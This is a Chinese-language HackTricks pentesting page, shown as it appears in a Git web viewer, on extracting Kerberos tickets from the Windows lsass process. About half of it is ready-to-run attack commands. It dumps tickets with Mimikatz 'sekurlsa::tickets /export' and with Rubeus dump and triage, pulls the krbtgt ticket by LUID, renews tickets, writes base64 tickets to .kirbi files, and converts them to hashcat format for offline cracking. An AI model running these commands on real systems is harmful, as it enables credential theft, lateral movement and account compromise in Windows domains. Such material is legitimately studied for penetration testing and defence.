hacktricks/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md

48 lines
2.8 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 从Windows中获取票据
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
Windows中的票据由**lsass**本地安全性机构子系统服务进程管理和存储负责处理安全策略。要提取这些票据需要与lsass进程进行交互。非管理员用户只能访问自己的票据而管理员有权限提取系统上的所有票据。对于这样的操作通常使用**Mimikatz**和**Rubeus**工具,它们分别提供不同的命令和功能。
### Mimikatz
Mimikatz是一个多功能工具可以与Windows安全进行交互。它不仅用于提取票据还用于各种其他与安全相关的操作。
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeus是一款专门针对Kerberos交互和操作的工具。它用于票据提取和处理以及其他与Kerberos相关的活动。
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
# Listing all tickets
.\Rubeus.exe triage
# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
在使用这些命令时,请确保将类似 `<BASE64_TICKET>``<luid>` 这样的占位符替换为实际的Base64编码票证和登录ID。这些工具提供了广泛的功能用于管理票证并与Windows的安全机制进行交互。
# 参考资料
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**